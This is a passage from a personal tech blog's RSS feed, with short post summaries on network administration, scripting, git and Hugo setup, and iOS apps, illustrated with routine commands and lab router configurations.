Management:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://blink.sh/&#34;&gt;Blink&lt;/a&gt;: Combines Mosh, SSH, and CLI tools all in a single app.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.textasticapp.com/&#34;&gt;Textastic&lt;/a&gt;: Text editor for coding and markdown that integrates well with iDrive.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Shopping:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://amazon.com/&#34;&gt;Amazon&lt;/a&gt;: Online shopping.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Social:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Twitter: Mostly to keep up on #WUSTL and my kids&amp;rsquo; school events.&lt;/li&gt;&#xA;&lt;li&gt;LinkedIn: Business contacts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Task Management:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://calendar.google.com/calendar/&#34;&gt;Google Calendar&lt;/a&gt;: Personal and family life management.&lt;/li&gt;&#xA;&lt;li&gt;Outlook: Work life management.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://tasks.office.com/gowustl.onmicrosoft.com/en-US/Home/Planner/&#34;&gt;Planner&lt;/a&gt;: Work projects and tasks management.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Video / Music:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/premium&#34;&gt;YouTube Premium&lt;/a&gt;: Ad free music and videos.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.netflix.com/&#34;&gt;Netflix&lt;/a&gt;: The original video streaming service.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://play.hbogo.com/&#34;&gt;HBO Go&lt;/a&gt;: Free with my ATT cell plan.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.primevideo.com/&#34;&gt;Prime Video&lt;/a&gt;: Included with Prime.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://tv.youtube.com/&#34;&gt;YouTube TV&lt;/a&gt;: Primary TV service.   Works on every device from phones to a $35 Roku, with unlimited DVR for half the cost of satellite or cable.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/premium&#34;&gt;YouTube Music&lt;/a&gt;: Streaming music for the entire family.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Web:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Safari: Primary browser, I would switch to Chrome if Apple allowed &lt;a href=&#34;https://www.zdnet.com/article/apple-might-finally-let-you-set-chrome-as-the-default-browser-in-ios-14-report/&#34;&gt;user-controlled default applications&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Chrome: Alternative to Safari when needed.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://duckduckgo.com/app&#34;&gt;Duck Duck Go&lt;/a&gt;: Browsing the web when privacy matters.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Work / Consulting:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AnyConnect: Work VPN.&lt;/li&gt;&#xA;&lt;li&gt;Zoom: Remote meetings.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://meraki.cisco.com/&#34;&gt;Meraki&lt;/a&gt;: My kids school uses Meraki network equipment which I maintain.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://apps.apple.com/us/app/he-net-network-tools/id858241710&#34;&gt;HE Network Tools&lt;/a&gt;: ping, traceroute, iperf3, whois, subnet calc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.paypal.com/us/webapps/mpp/credit-card-reader&#34;&gt;PayPal Here&lt;/a&gt;: I take credit cards.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://venmo.com/&#34;&gt;Venmo&lt;/a&gt;: I pay people.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.duetdisplay.com/&#34;&gt;Duet&lt;/a&gt;: Dual displays when I am on the go.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Front page of the iPhone:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using Python to find IP addresses in a text file</title>
      <link>https://jasonmurray.org/posts/2020/findipswithpython/</link>
      <pubDate>Sat, 27 Jun 2020 16:45:50 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/findipswithpython/</guid>
      <description>&lt;p&gt;Given a text file with IP address randomly placed within it:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~/Documents/scripts/wustlPython $ cat ipsampleinput.txt&#xA;This is a text file with ip address: 192.168.1.1 within it, there are more addresses like this one 10.23.12.1&#xA;sprinkled throughout the 1.2.3.4 file.  SomeRight10.3.3.2Next to each other some spaced apart.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The following Python script will extract all IP address within the file:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#!/usr/local/bin/python3&#xA;&#xA;import fileinput&#xA;import re&#xA;&#xA;for line in fileinput.input():&#xA;    ip = re.findall( r&amp;#39;[0-9]+(?:\.[0-9]+){3}&amp;#39;, line )&#xA;    if ip:&#xA;        for i in ip:&#xA;            print(i)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Output:&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to log into the FirePower FTD CLI</title>
      <link>https://jasonmurray.org/posts/2020/firepowercli/</link>
      <pubDate>Fri, 26 Jun 2020 17:11:00 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/firepowercli/</guid>
      <description>&lt;p&gt;Logging into a Cisco FirePower FTD CLI is not an obvious operation.&lt;/p&gt;&#xA;&lt;p&gt;First log into FXOS chassis manager:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ ssh firepower.example.com&#xA;Password:&#xA;Last login: Fri Jun 26 16:52:28 CDT 2020 from bastion.example.com on pts/0&#xA;&#xA;Copyright 2004-2018, Cisco and/or its affiliates. All rights reserved.&#xA;Cisco is a registered trademark of Cisco Systems, Inc.&#xA;All other trademarks are property of their respective owners.&#xA;&#xA;Cisco Fire Linux OS v6.2.3 (build 13)&#xA;Cisco Firepower 9000 Series SM-36 Threat Defense v6.2.3.12 (build 80)&#xA;&#xA;Cisco Firepower Extensible Operating System (FX-OS) Software.&#xA; TAC support: http://www.cisco.com/tac&#xA; Copyright (c) 2009-2016, Cisco Systems, Inc. All rights reserved.&#xA; The copyrights to certain works contained in this software are owned by other third parties and used and distributed under license.&#xA; Certain components of this software are licensed under the &amp;#39;GNU General Public License, version 3&amp;#39;&#xA; provided with ABSOLUTELY NO WARRANTY under the terms of &amp;#39;GNU General Public License, Version 3&amp;#39;, available here:&#xA; http://www.gnu.org/licenses/gpl.html. See User Manual (&amp;#39;&amp;#39;Licensing&amp;#39;&amp;#39;) for details.&#xA; Certain components of this software are licensed under the &amp;#39;GNU General Public License, version 2&amp;#39;&#xA; provided with ABSOLUTELY NO WARRANTY under the terms of &amp;#39;GNU General Public License, version 2&amp;#39;, available here:&#xA; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html. See User Manual (&amp;#39;&amp;#39;Licensing&amp;#39;&amp;#39;) for details.&#xA; Certain components of this software are licensed under the &amp;#39;GNU LESSER GENERAL PUBLIC LICENSE, version 3&amp;#39;&#xA; provided with ABSOLUTELY NO WARRANTY under the terms of &amp;#39;GNU LESSER GENERAL PUBLIC LICENSE&amp;#39; Version 3, available here:&#xA; http://www.gnu.org/licenses/lgpl.html. See User Manual (&amp;#39;&amp;#39;Licensing&amp;#39;&amp;#39;) for details.&#xA; Certain components of this software are licensed under the &amp;#39;GNU Lesser General Public License, version 2.1&amp;#39;&#xA; provided with ABSOLUTELY NO WARRANTY under the terms of &amp;#39;GNU Lesser General Public License, version 2&amp;#39;, available here:&#xA; http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. See User Manual (&amp;#39;&amp;#39;Licensing&amp;#39;&amp;#39;) for details.&#xA; Certain components of this software are licensed under the &amp;#39;GNU Library General Public License, version 2&amp;#39;&#xA; provided with ABSOLUTELY NO WARRANTY under the terms of &amp;#39;GNU Library General Public License, version 2&amp;#39;, available here:&#xA; http://www.gnu.org/licenses/old-licenses/lgpl-2.0.html. See User Manual (&amp;#39;&amp;#39;Licensing&amp;#39;&amp;#39;) for details.&#xA;&#xA;&#xA;&#x9;    Cisco Security Services Platform&#xA;&#x9;&#x9;  Type ? for list of commands&#xA;Firepower-module1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Connect to the FTD.  This is the firewall module of the FirePower:&lt;/p&gt;</description>
    </item>
    <item>
      <title>git broken after 10.14.x to 10.15.x macOS upgrade</title>
      <link>https://jasonmurray.org/posts/2020/gitmacos1015/</link>
      <pubDate>Thu, 25 Jun 2020 20:56:46 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/gitmacos1015/</guid>
      <description>&lt;p&gt;After upgrading macOS from 10.14.x to 10.15.x &lt;code&gt;git&lt;/code&gt; no longer worked:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ git&#xA;xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Tried this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ xcode-select --install&#xA;xcode-select: note: install requested for command line developer tools&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Which raised the following error:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/xcodeinstallfail.png&#34; alt=&#34;xcode-select error&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tried this, with no success:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ sudo xcode-select --reset&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Manually downloaded the latest xcode from the App Store:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/xcodedownload.png&#34; alt=&#34;xcode download app store&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Manually downloading the software is getting us closer:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Roomba creates Wifi Coverage Maps</title>
      <link>https://jasonmurray.org/posts/2020/irobotwifi/</link>
      <pubDate>Wed, 24 Jun 2020 08:44:44 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/irobotwifi/</guid>
      <description>&lt;p&gt;Need a wireless survey of your home?  Have a vacuum?  With a &lt;a href=&#34;https://homesupport.irobot.com/app/answers/detail/a_id/1422/~/roomba%C2%AE-900-series%3A-wi-fi-coverage-map-common-questions&#34;&gt;Roomba 900 series&lt;/a&gt; vacuum wireless surveys are built in:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/irobotwifi.jpeg&#34; alt=&#34;irobot wifi coverage&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have no coverage area problems&amp;hellip;&lt;/p&gt;</description>
    </item>
    <item>
      <title>VIRL NX-OS licensing disabled</title>
      <link>https://jasonmurray.org/posts/2020/nxosgns3lic/</link>
      <pubDate>Tue, 23 Jun 2020 12:27:36 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/nxosgns3lic/</guid>
      <description>&lt;p&gt;The NX-OS images that come with VIRL, which I am running in GNS3, do not have licensing enabled.   Attempting to enable a feature will result in the following error:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;switch(config)# feature bgp&#xA;Feature grace period is disabled&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To enable licensing run:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;switch(config)# license grace-period&#xA;switch(config)#&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now enable the feature:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;switch(config)# feature bgp&#xA;LAN_ENTERPRISE_SERVICES_PKG license not installed. bgp feature will be shutdown&#xA;after grace period of approximately 120 day(s)&#xA;switch(config)# 2020 Jun 22 22:28:45 switch %LICMGR-2-LOG_LIC_NO_LIC: No license(s) present for feature LAN_ENTERPRISE_SERVICES_PKG. Application(s) shut down in 119 days.&#xA;2020 Jun 22 22:28:45 switch %LICMGR-2-LOG_LICAPP_NO_LIC: Application bgp running without LAN_ENTERPRISE_SERVICES_PKG license, shutdown in 119 days&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Using the macOS command airport to perform wireless signal strength scans</title>
      <link>https://jasonmurray.org/posts/2020/airport/</link>
      <pubDate>Mon, 22 Jun 2020 16:25:29 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/airport/</guid>
      <description>&lt;p&gt;There is a hidden command in macOS, &lt;code&gt;airport&lt;/code&gt;, which is used to view wireless signal strength from the command line.  By wrapping the &lt;code&gt;airport&lt;/code&gt; command in a simple shell script, we can search for and sort wireless networks by their signal strength.&lt;/p&gt;&#xA;&lt;p&gt;I have used this command to perform site surveys and validation of signal strength after wireless hardware deployment.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;airport&lt;/code&gt; command is not in the default search $PATH: &lt;code&gt;/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport&lt;/code&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Basic script writing</title>
      <link>https://jasonmurray.org/posts/2020/basicscripting/</link>
      <pubDate>Sun, 21 Jun 2020 07:52:54 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/basicscripting/</guid>
      <description>&lt;p&gt;Basic script writing is a tool any person who performs repetitive tasks on a computer should posses.   Scripting comes in many forms from simple &lt;code&gt;bash&lt;/code&gt; scripts to more complex &lt;code&gt;python&lt;/code&gt; scripts.  These small snippets of code help reduce the monotony of manually running the same command over and over again.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s use the following example. At WashU there are 5 DNS servers.   Validating DNS is operating as expected during maintenance events is a common task.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Generating a password hash on Linux from the command line</title>
      <link>https://jasonmurray.org/posts/2020/clipasswd/</link>
      <pubDate>Sat, 20 Jun 2020 11:42:04 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/clipasswd/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;The command &lt;code&gt;mkpasswd&lt;/code&gt; generates a password hash from the command line.  We can use the resulting output in any application where an md5, des, or sha hash is required.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Running &lt;code&gt;mkpasswd&lt;/code&gt; with the options &lt;code&gt;-m help&lt;/code&gt; displays the available hash methods:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@linux-host:~$ mkpasswd -m help&#xA;Available methods:&#xA;des&#x9;standard 56 bit DES-based crypt(3)&#xA;md5&#x9;MD5&#xA;sha-256&#x9;SHA-256&#xA;sha-512&#x9;SHA-512ZZ&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Generate the SHA-512 hash with the password &amp;rsquo;test&#39;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@linux-host:~$ mkpasswd -m SHA-512&#xA;Password:&#xA;$6$DIv5K.HO$YhcGCcZGEipD6gmopK.rCYNTfUhNV5hsy9/LhT89odM0jd/lIyGgOX5l.v1hRFV.EDXeK/IRpYQNXgv0inmW50&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this example, the hash is added to a &lt;code&gt;puppet&lt;/code&gt; manifest for managing user accounts:&lt;/p&gt;</description>
    </item>
    <item>
      <title>No man on Debian 10</title>
      <link>https://jasonmurray.org/posts/2020/debian10man/</link>
      <pubDate>Fri, 19 Jun 2020 13:37:41 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/debian10man/</guid>
      <description>&lt;p&gt;The default install of Debian 10 does not have &lt;code&gt;man&lt;/code&gt; installed by default.  Attempting to view a &lt;code&gt;man&lt;/code&gt; page results in the following error:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:/usr/bin$ man basename&#xA;-bash: man: command not found&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the 20+ years I have used Linux, I have never found a distribution that didn&amp;rsquo;t have &lt;code&gt;man&lt;/code&gt; installed, but appears so:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:/usr/bin$ which man&#xA;jemurray@shell:/usr/bin$&#xA;&#xA;jemurray@shell:/usr/bin$ /usr/bin/man&#xA;-bash: /usr/bin/man: No such file or directory&#xA;&#xA;jemurray@shell:/usr/bin$ /bin/man&#xA;-bash: /bin/man: No such file or directory&#xA;&#xA;jemurray@shell:/usr/bin$ whereis man&#xA;man: /usr/local/man /usr/share/man /usr/share/man/man7/man.7.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Install &lt;code&gt;man&lt;/code&gt;:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Quickly find changes in network configurations files with diff</title>
      <link>https://jasonmurray.org/posts/2020/diff/</link>
      <pubDate>Thu, 18 Jun 2020 16:52:20 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/diff/</guid>
      <description>&lt;p&gt;The &lt;code&gt;diff&lt;/code&gt; utility is excellent for quickly spotting changes in network configuration files.  After all major network changes, upgrades, or maintenance this is one of my staple commands to validate there are no unexpected changes.   It is especially helpful for router configurations that are thousands of lines long.&lt;/p&gt;&#xA;&lt;p&gt;Start with a quick overview of what changed, by running &lt;code&gt;diff&lt;/code&gt; with no options:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ diff previous-config.txt current-config.txt&#xA;60c60&#xA;&amp;lt; username jemurray privilege 15 password 0 CiscoLab123&#xA;---&#xA;&amp;gt; username jemurray privilege 15 password 0 CiscoLab&#xA;87a88&#xA;&amp;gt;  description Uplink Interface&#xA;94d94&#xA;&amp;lt;  description shutdown&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Find specific differences line-by-line in side-by-side mode, by running: &lt;code&gt;diff -W 120 -y previous-config.txt current-config.txt&lt;/code&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Archetypes in Hugo for new post templates</title>
      <link>https://jasonmurray.org/posts/2020/archetype/</link>
      <pubDate>Wed, 17 Jun 2020 17:15:26 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/archetype/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://gohugo.io/content-management/archetypes/&#34;&gt;Hugo archetypes&lt;/a&gt; provide a templating mechanism when creating a new post with the command: &lt;code&gt;hugo new path/file.md&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;By default, Hugo uses a template that looks similar to this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~/Documents/www-personal/current/jasonmurray.org/themes/hermit/archetypes $ cat posts.md&#xA;---&#xA;title: &amp;#34;{{ replace .Name &amp;#34;-&amp;#34; &amp;#34; &amp;#34; | title }}&amp;#34;&#xA;date: {{ .Date }}&#xA;draft: true&#xA;toc: false&#xA;images:&#xA;tags:&#xA;  - untagged&#xA;---&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To change the default template, create the file &lt;code&gt;$hugoroot/archetypes/posts.md&lt;/code&gt;.  Do not edit the archetype file in the individual themes directory, it will be replaced when the theme is updated.  In this example, I added a category field:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Filter ads on iOS with AdGuard</title>
      <link>https://jasonmurray.org/posts/2020/iosfilerads/</link>
      <pubDate>Tue, 16 Jun 2020 06:31:03 -0400</pubDate>
      <guid>https://jasonmurray.org/posts/2020/iosfilerads/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://adguard.com/&#34;&gt;AdGuard&lt;/a&gt;, a content blocker for multiple platforms, is an effective solution for blocking ads on iOS such as the iPhone or iPad.&lt;/p&gt;&#xA;&lt;p&gt;Quick Install:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install AdGuard from the App Store.&lt;/li&gt;&#xA;&lt;li&gt;Enable blocking: Settings -&amp;gt; Safari -&amp;gt; Content Blockers, enable all filters.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Search for &lt;code&gt;adguard&lt;/code&gt; in the App Store and install:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/appstoreadguard.PNG&#34; alt=&#34;install adguard&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Open the app to validate AdGuard is enabled.  The screen may look different, this is the &lt;a href=&#34;https://adguard.com/en/license.html&#34;&gt;premium&lt;/a&gt; version of AdGuard:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Removing cookie pop-ups with uBlock Origin</title>
      <link>https://jasonmurray.org/posts/2020/cookies/</link>
      <pubDate>Mon, 15 Jun 2020 06:06:45 -0400</pubDate>
      <guid>https://jasonmurray.org/posts/2020/cookies/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;Websites that require users to accept the &amp;ldquo;We use cookies&amp;hellip;&amp;rdquo; pop-up messages is an unfortunate side effect of the &lt;a href=&#34;https://en.wikipedia.org/wiki/General_Data_Protection_Regulation&#34;&gt;GDPR&lt;/a&gt; regulation.  While I fully support a users control over their data and the added benefits regulations such as GDPR provide, the pop-up messages are too excessive.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://github.com/gorhill/uBlock&#34;&gt;uBlock Origin&lt;/a&gt; &lt;code&gt;EasyList Cookie&lt;/code&gt; filter will automatically remove these annoying pop-up messages.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Example website with the &amp;ldquo;We use cookies&amp;hellip;&amp;rdquo; pop-up message:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/sitewithcookie.png&#34; alt=&#34;site with cookie&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Generate a Hugo website with the post-receive GIT hook</title>
      <link>https://jasonmurray.org/posts/2020/githugogen/</link>
      <pubDate>Sun, 14 Jun 2020 07:58:28 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/githugogen/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;By storing &lt;a href=&#34;https://gohugo.io&#34;&gt;Hugo&lt;/a&gt; website content in a &lt;code&gt;git&lt;/code&gt; repository, a user can checkout the site from any &lt;code&gt;git&lt;/code&gt; enabled workstation, make changes, then automatically build and deploy the site with a &lt;code&gt;git push&lt;/code&gt; action to a remote repository.  The &lt;code&gt;git&lt;/code&gt; &lt;a href=&#34;https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks&#34;&gt;hook&lt;/a&gt; &lt;code&gt;post-receive&lt;/code&gt; enables this automation.  &lt;code&gt;git&lt;/code&gt; &lt;a href=&#34;https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks&#34;&gt;hooks&lt;/a&gt; are a method for executing scripts when specific &lt;code&gt;git&lt;/code&gt; actions are taken.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Setup a web server and Hugo on an Internet connected server, instructions are outside the scope of this document.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Self hosting a git repository</title>
      <link>https://jasonmurray.org/posts/2020/selfhostedgit/</link>
      <pubDate>Sat, 13 Jun 2020 17:37:11 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/selfhostedgit/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;&lt;code&gt;git&lt;/code&gt;, a free and open source distributed version control system, has a number online services for hosting projects.  When control over data or additional features are required, self-hosting a git repository may be a better choice.   With a simple Internet connected Linux server running SSH, setting up a remote &lt;code&gt;git&lt;/code&gt; repository is easy to do.&lt;/p&gt;&#xA;&lt;p&gt;On the remote server:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir git&#xA;cd git&#xA;mkdir jasonmurray.org.git&#xA;cd jasonmurray.org.git/&#xA;git init --bare&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On the local source:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Basic Cisco and Juniper router configurations for remote management</title>
      <link>https://jasonmurray.org/posts/2020/basicciscojuniper/</link>
      <pubDate>Fri, 12 Jun 2020 07:15:58 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/basicciscojuniper/</guid>
      <description>&lt;p&gt;This is the minimum configuration necessary to configure Cisco and Juniper routers for remote management via SSH.  I use the following base template configurations to enable IP via DHCP and SSH remote access for the lab environment.&lt;/p&gt;&#xA;&lt;p&gt;Cisco pastable:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;hostname csr100v&#xA;ip domain-name example.com&#xA;aaa new-model&#xA;aaa authentication login default local&#xA;aaa authorization exec default local&#xA;crypto key generate rsa modulus 2048&#xA;username jemurray privilege 15 password MyPassword&#xA;interface GigabitEthernet0/1&#xA; ip address dhcp&#xA; no shut&#xA;ip ssh version 2&#xA;line vty 0 4&#xA; privilege level 15&#xA; transport input ssh&#xA;line vty 5 15&#xA; privilege level 15&#xA; transport input ssh&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Juniper pastable:&lt;/p&gt;</description>
    </item>
    <item>
      <title>10Gb/s file transfers with SMBv3</title>
      <link>https://jasonmurray.org/posts/2020/windows10smbperformance/</link>
      <pubDate>Thu, 11 Jun 2020 15:03:53 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/windows10smbperformance/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;High performance file transfers over the network can be a challenge due to limited network capacity, operating system tuning, file system tuning, bus speed, and drive performance.  However, with the right hardware and a little bit of tuning, a Windows 10 workstation can saturate a 10Gb/s interface with SMBv3 file transfers.&lt;/p&gt;&#xA;&lt;p&gt;Using &lt;code&gt;robocopy&lt;/code&gt; and &lt;code&gt;powershell&lt;/code&gt; scripts, we see how disk caching and MTU changes affect the performance of a stock Windows 10 Pro workstation while attempting to fill 10Gb/s network paths to their capacity.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Is the meeting necessary?</title>
      <link>https://jasonmurray.org/posts/2020/meetings/</link>
      <pubDate>Wed, 10 Jun 2020 07:09:09 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/meetings/</guid>
      <description>&lt;p&gt;Too often, meeting invites look like this.  It lacks necessary details, no agenda, no goals, only the request for a number of people to get together and &amp;ldquo;do something about a project&amp;rdquo;. Is it a big project? What about preread material?  Does eveyone need to be there?  What are the deliverable in the &amp;ldquo;kickoff&amp;rdquo; meeting?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/calendar.png&#34; alt=&#34;Calendar Example&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To keep engineers happy, consider the following guidelines:&lt;/p&gt;&#xA;&lt;p&gt;Prior to sending the invite:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using nsupdate to make dynamic DNS changes</title>
      <link>https://jasonmurray.org/posts/2020/nsupdate/</link>
      <pubDate>Tue, 09 Jun 2020 09:49:33 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/nsupdate/</guid>
